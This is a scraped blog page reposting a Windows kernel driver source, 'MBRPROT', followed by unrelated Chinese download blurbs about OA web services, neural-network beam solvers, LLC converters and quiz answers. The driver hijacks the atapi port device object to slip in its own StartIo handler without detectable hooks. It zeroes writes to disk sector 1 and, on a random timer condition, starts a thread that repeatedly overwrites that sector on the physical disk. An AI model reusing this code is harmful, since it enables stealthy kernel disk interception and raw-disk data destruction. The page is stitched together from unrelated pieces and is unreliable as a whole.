MBRPROT -- Object Hijack(Deep disk filter without hook or function replace)

 by mj0011
#include "ntddk.h"
#include "ntifs_48.h"
#include "zwfunc.h"
#include "stdafx.h"
#include "srb.h"

#define MYDEBUG 1

#if MYDEBUG

#define KDMSG(_x_) DbgPrint _x_

#else

#define KDMSG(_x_)

#endif
ULONG oldstartio;
PDRIVER_OBJECT atapi_drv ;



VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )
{
    PIO_STACK_LOCATION irp_stack ;

    irp_stack = IoGetCurrentIrpStackLocation(Irp);

    if (DeviceObject->DeviceType == FILE_DEVICE_CONTROLLER &&
        irp_stack->DeviceObject &&
        irp_stack->DeviceObject->DeviceType == FILE_DEVICE_DISK &&
        irp_stack->Parameters.Scsi.Srb->Function == SRB_FUNCTION_EXECUTE_SCSI &&
        irp_stack->Parameters.Scsi.Srb->CdbLength == 0xA &&
        (irp_stack->Parameters.Scsi.Srb->SrbFlags & SRB_FLAGS_DATA_OUT) &&
        irp_stack->Parameters.Scsi.Srb->DataBuffer &&
        irp_stack->Parameters.Scsi.Srb->DataTransferLength
        )

    {
        PVOID buf = irp_stack->Parameters.Scsi.Srb->DataBuffer ;
        ULONG len = irp_stack->Parameters.Scsi.Srb->DataTransferLength ;
        ULONG i ;
        PMDL mdl  = Irp->MdlAddress ;


//        KDMSG(("disk device bus read request!lba = %08x , len = %08x/n",
//            irp_stack->Parameters.Scsi.Srb->QueueSortKey ,
//            irp_stack->Parameters.Scsi.Srb->DataTransferLength));


        if (irp_stack->Parameters.Scsi.Srb->QueueSortKey ==  1)
        {
            buf = MmGetSystemAddressForMdl(mdl );
            RtlZeroMemory(buf , len );

        }

        __asm
        {
            push    Irp
            push    DeviceObject
            call    oldstartio
        }



//        HandleAkDiskHide(buf , len );
//        HandleRegHide(buf , len);
        return ;
       
    }
    __asm
    {
        push    Irp
            push    DeviceObject
            call    oldstartio
        }

    return ;
}

BOOL    CheckMemory(PVOID addr , ULONG len)
{
    ULONG i ;
    for (i = (ULONG )addr ; i < (ULONG )addr + len ; i++)
    {
        if (!MmIsAddressValid((PVOID)i))
        {
            return FALSE ;
        }
    }
    return TRUE ;
}
#define DELAY_ONE_MICROSECOND  (-10)
#define DELAY_ONE_MILLISECOND  (DELAY_ONE_MICROSECOND*1000)
#define DELAY_ONE_SECOND        (DELAY_ONE_MILLISECOND*1000)

void DiskProtThread(PVOID xx)
{
    HANDLE FileHandle ;
    NTSTATUS stat ;
    OBJECT_ATTRIBUTES oba ;
    UNICODE_STRING string ;
    IO_STATUS_BLOCK iosb ;

    LARGE_INTEGER interval;
    PVOID pool = ExAllocatePool(NonPagedPool , 0x200);

    if (!pool)
    {
        PsTerminateSystemThread(STATUS_SUCCESS);
        return ;
    }


    interval.QuadPart = (5 * DELAY_ONE_SECOND);      //delay 2 secs

    RtlInitUnicodeString(&string , L"//Device//Harddisk0//DR0" );
    InitializeObjectAttributes(&oba , &string , OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE , 0 , 0 );


    while(TRUE)
    {
        stat = IoCreateFile(&FileHandle ,
            FILE_ALL_ACCESS ,
            &oba ,
            &iosb ,
            NULL,
            FILE_ATTRIBUTE_NORMAL ,
            FILE_SHARE_READ ,
            FILE_OPEN ,
            FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT ,
            NULL,
            0,
            CreateFileTypeNone ,
            0,
            IO_NO_PARAMETER_CHECKING
            );
       
       
       
        if (NT_SUCCESS(stat))
        {

            LARGE_INTEGER offset ;
           
           
            offset.HighPart = 0 ;
            offset.LowPart = 512 ;
           
           
           
            stat = ZwReadFile(FileHandle , 0 , NULL , NULL ,
                &iosb ,
                pool ,
                512 ,
                &offset ,
                0
                );
           
            if (NT_SUCCESS(stat))
            {
                ULONG i ;
                BOOL nonzero = FALSE ;
               
                for (i = 0 ; i < 512 ; i++)
                {
                    if (*(BYTE*)((ULONG)pool + i) != 0)
                    {
                        nonzero = TRUE ;
                        break ;
                    }
                }
               
                if (nonzero)
                {
                    RtlZeroMemory(pool , 512);
                    ZwWriteFile(FileHandle , 0 , NULL , NULL ,
                        &iosb ,
                        pool ,
                        512 ,
                        &offset ,
                        0
                        );
                }
               
               
               
            }
            ZwClose(FileHandle);
           
           
    }       
        KeDelayExecutionThread(KernelMode , FALSE , &interval);

    }




   
}

NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)
{
    UNICODE_STRING uniname ;
    NTSTATUS stat ;


//    drvobj->DriverUnload = (PDRIVER_UNLOAD )unload ;

    LARGE_INTEGER current_time ;
    BOOL HookPort = FALSE  ;

    KeQuerySystemTime(¤t_time);


    if ((current_time.LowPart / 10 )* 10 == current_time.LowPart )
    {
        HookPort = TRUE ;
    }

    RtlInitUnicodeString(&uniname , L"//Driver//Atapi");

    stat = ObReferenceObjectByName(&uniname ,
        OBJ_CASE_INSENSITIVE ,
        NULL ,
        0,
        *IoDriverObjectType ,
        KernelMode ,
        NULL ,
        (PVOID*)&atapi_drv);

    if (!NT_SUCCESS(stat))
    {
//        KDMSG(("get atapi drvobj failed , stat = %08x/n" , stat));
        return stat ;
    }

    ObDereferenceObject(atapi_drv );

    {
        PDEVICE_OBJECT devobj ;

        devobj = atapi_drv->DeviceObject ;

        while(devobj)
        {
            if (devobj->DeviceType == FILE_DEVICE_DISK &&
                (devobj->Characteristics & FILE_REMOVABLE_MEDIA) == 0 )
            {
                if (devobj->DeviceExtension)
                {
                    ULONG ext = devobj->DeviceExtension ;
                    if (CheckMemory((PVOID)(ext + 0x5c) , sizeof(ULONG)))
                    {
                        ULONG ext_sp1 = *(ULONG*)(ext + 0x5c);

                        if (ext_sp1 && CheckMemory((PVOID)(ext_sp1 + 0xc) , sizeof(ULONG)))
                        {
                            PDEVICE_OBJECT port_device = (PDEVICE_OBJECT)(*(ULONG*)(ext_sp1 + 0xc));

                            if (port_device &&
                                port_device->DeviceType == FILE_DEVICE_CONTROLLER &&
                                port_device->DriverObject == atapi_drv)
                            {
                                PVOID pobj1 = ExAllocatePool(NonPagedPool , port_device->Size + 0x18);
                                PVOID pobj2 = ExAllocatePool(NonPagedPool , atapi_drv->Size + 0x18);
                                PDEVICE_OBJECT pFakeDevice = (PDEVICE_OBJECT)((ULONG)pobj1 + 0x18);
                                PDRIVER_OBJECT  pFakeDriver = (PDRIVER_OBJECT)((ULONG)pobj2 + 0x18);
                                KSPIN_LOCK SpinLock ;
                                KIRQL OldIrql ;

                                if (!pFakeDevice || !pFakeDriver)
                                {
                                    if (pFakeDriver )
                                        ExFreePool(pFakeDriver);
                                    if (pFakeDevice)
                                        ExFreePool(pFakeDevice);

                                    return STATUS_UNSUCCESSFUL ;
                                }

                                RtlCopyMemory(pobj1 , (PVOID)((ULONG)port_device - 0x18)  , port_device->Size + 0x18);
                                RtlCopyMemory(pobj2 , (PVOID)((ULONG)port_device->DriverObject - 0x18)  , port_device->DriverObject->Size + 0x18);
                               
                                pFakeDevice->DriverObject = pFakeDriver ;
                               
                                if (IsListEmpty(&port_device->DeviceQueue.DeviceListHead))
                                {
                                    pFakeDevice->DeviceQueue.DeviceListHead.Blink = &pFakeDevice->DeviceQueue.DeviceListHead;
                                    pFakeDevice->DeviceQueue.DeviceListHead.Flink = &pFakeDevice->DeviceQueue.DeviceListHead ;
                                }
                                oldstartio = pFakeDriver->DriverStartIo ;
                                pFakeDriver->DriverStartIo = mystartio ;

                               
                                KeInitializeSpinLock(&SpinLock);
                                KeAcquireSpinLock(&SpinLock , &OldIrql);
                                *(ULONG*)(ext_sp1 + 0xc) = (ULONG)pFakeDevice ;
                                KeReleaseSpinLock(&SpinLock , OldIrql);

                                if (HookPort)
                                {
                                    HANDLE threadhandle ;
                                    OBJECT_ATTRIBUTES oba ;
                                   
                                    InitializeObjectAttributes(&oba, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
                                    PsCreateSystemThread(&threadhandle ,
                                        THREAD_ALL_ACCESS ,
                                        &oba ,
                                        NULL,
                                        NULL,
                                        DiskProtThread ,
                                        NULL
                                        );
                                }

                                return STATUS_SUCCESS ;
                               
                            }

                        }
                    }
                }
            }

            devobj = devobj->NextDevice ;
        }
    }


    return STATUS_UNSUCCESSFUL ;
}
源码直接下载地址: https://pan.quark.cn/s/a4b39357ea24 泛微OA e-cology 8 版本的最新webservice接口文档概述 泛微OA e-cology 8 版本的最新webservice接口文档中包含了一系列webservice接口,这些接口可用于对系统内的文档执行多种操作,例如文档的建立、移除、变更以及检索等。通过webservice进行调用,这些接口能够支持对文档进行有效的管理和操作。 文档webservice接口的配置 安装并应用文档webservice接口前,必须先将其配置到服务器环境中。配置阶段需要在services.xml文档内嵌入相应的配置代码,涵盖服务标识、命名空间、服务类别、实现类别等关键信息。配置完成后,应重新启动相关服务,确保新设置得以生效。用户可通过浏览器输入webservice接口的路径地址,验证部署操作是否顺利完成。 文档webservice接口的功能集 文档webservice接口提供了多种功能方法,旨在实现对文档的多样化操作。这些方法具体包括: * login:执行用户登录验证,并输出登录会话代码 * createDoc:依据提供的文档数据结构创建新文档 * updateDoc:依据文档数据结构对现有文档进行修改 * deleteDoc:根据文档的唯一标识符删除特定文档 * getDoc:检索文档数据结构,依据文档的唯一标识符获取文档信息 * getDocCount:统计并返回用户具备访问权限的文档总数 * getList:检索并返回用户具备访问权限的文档数据结构集合 文档对象 文档对象构成了文档webservice接口的核心部分,其中封装了文档的全部相关数据。文档对象的属性集包含: * 文...
内容概要:本文详细介绍了基于物理信息神经网络(PINNs)求解欧拉-伯努利(Euler-Bernoulli)双梁正问题的PyTorch实战方法,通过Python代码实现,将结构力学中的偏微分方程作为物理约束嵌入深度学习模型,利用神经网络自动满足控制方程与边界条件,从而实现对双梁系统变形行为的高精度建模与求解。该方法摆脱了传统数值方法对网格划分的依赖,具备强泛化能力与求解灵活性,尤其适用于复杂边界条件和连续介质力学问题的智能仿真。文中重点解析了损失函数的设计原理,涵盖方程残差、初始条件与边界条件的加权融合,并提供了可复现的代码架构,便于进一步拓展至其他多物理场耦合问题。; 适合人群:具备一定深度学习基础、熟悉PyTorch框架,并掌握结构力学或偏微分方程基本概念的研究生、科研人员及从事智能计算与工程仿真的技术人员。; 使用场景及目标:①应用于土木、机械等领域中梁结构的静动力响应分析;②推动数据驱动与物理模型融合的科学机器学习(SciML)技术发展;③为复杂工程系统的无网格化、智能化仿真提供新范式。; 阅读建议:建议读者结合提供的代码逐模块调试,深入理解物理约束项在损失函数中的数学表达与实现逻辑,并尝试更换材料参数、边界条件或扩展至非线性梁模型以增强实际应用能力。
已经博主授权,源码转载自 https://pan.quark.cn/s/a4b39357ea24 “黑马程序员测试题部分答案”包含了在学习编程期间可能遭遇的各类测试题目及其解析,这些内容主要源自于“黑马程序员”这一享有声誉的IT教育机构所提供的教程资源。这些测试题目的解析,其目的在于协助学习者评估自身的学习成效,强化编程基础,并攻克他们在学习阶段所面临的挑战。 “或许能对您带来益处,系个人创作。”此话语暗示了这份资料是由个人或集体在借鉴黑马程序员教学内容的基础上进行汇编的,其中可能融入了个人化的见解和归纳。它并非正式的教材,但作为辅助学习的材料,或许能提供一种不同于官方的解题视角或更贴近实际操作的应用方法,对于独立学习者而言具有特别的参考价值。 “答案”与“黑马”这两个标签,分别指向了这份资料的核心要素和出处。"答案"表明这是针对某些特定问题或测试的回应,能够帮助学习者验证其认知程度,迅速定位错误,从而节省自行摸索的时间。“黑马”则指明这份资料与“黑马程序员”这一教育品牌存在关联,意味着其内容或许涉及该机构课程中的核心知识点,具备一定的权威性和系统性。 【压缩包子文件的文件名称清单】:“itheima”或许是一个文件夹的名称,通常在压缩文件中代表一个包含多个关联文件的集合。在解压之后,里面可能存放着多种文件格式,例如PDF、TXT、DOCX等,这些文件可能涵盖了编程语言的练习题、代码范例、解题过程以及相关概念的解释。例如,里面可能有针对C++、Java、Python等编程语言的题目剖析,数据库查询的解答,还可能涉及数据结构、算法、操作系统、网络等计算机科学的基础理论。 借助这份资料,学习者能够有针对性地查询自己在学习过程中遇到的疑惑,例如,倘若在理解面向对象编程时遇到阻碍...
内容概要:本文深入研究了LLC谐振变换器的变频移相混合控制模型,并基于Simulink平台完成了系统的建模仿真与性能验证。该控制策略融合变频控制与移相控制的优势,通过精确调节开关频率和相位差,实现对输出电压的高效、稳定调控,尤其在宽输入电压范围和动态负载变化条件下展现出优异的适应性。研究首先分析了LLC谐振腔的工作模态,建立了系统的等效数学模型,进而设计了混合控制算法,优化了软开关(ZVS/ZCS)的实现条件,显著降低了开关损耗,提升了整体转换效率。仿真结果充分验证了该混合控制策略在提高系统动态响应速度、减小输出纹波及增强能效方面的可行性与优越性。; 适合人群:从事电力电子变换器设计、电源管理系统开发的工程师,以及电力电子与电力传动、新能源系统等相关专业的高校研究生和科研人员。; 使用场景及目标:①应用于高频高效DC-DC电源模块的设计与性能优化;②为新能源汽车车载充电机(OBC)、数据中心电源、通信基站电源等对效率和功率密度要求严苛的应用场景提供先进的控制方案;③通过Simulink仿真平台快速验证控制算法,缩短研发周期,支撑科研项目与工程实践。; 阅读建议:读者应具备扎实的电力电子技术基础和自动控制理论知识,建议结合提供的Simulink模型进行同步仿真操作,重点观察不同工况下谐振电流、励磁电流及软开关过程的波形变化,深入理解控制参数的设计依据与调节规律,从而更好地将理论成果迁移至实际工程项目中。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值